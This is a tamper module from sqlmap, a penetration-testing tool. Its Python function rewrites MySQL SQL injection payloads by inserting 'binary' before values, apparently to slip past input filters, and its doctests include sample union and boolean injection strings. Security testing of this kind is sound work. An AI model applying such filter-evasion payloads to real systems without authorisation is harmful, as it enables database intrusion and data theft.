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44 lines
1.3 KiB
Python
44 lines
1.3 KiB
Python
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#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Injects keyword binary where possible
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Requirement:
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* MySQL
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>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
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'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
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>>> tamper('1 AND 2>1')
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'1 AND binary 2>binary 1'
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>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
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'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
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"""
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retVal = payload
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if payload:
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retVal = re.sub(r"\bNULL\b", "binary NULL", retVal)
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retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)
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retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)
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retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)
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retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)
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retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal)
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retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal)
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return retVal
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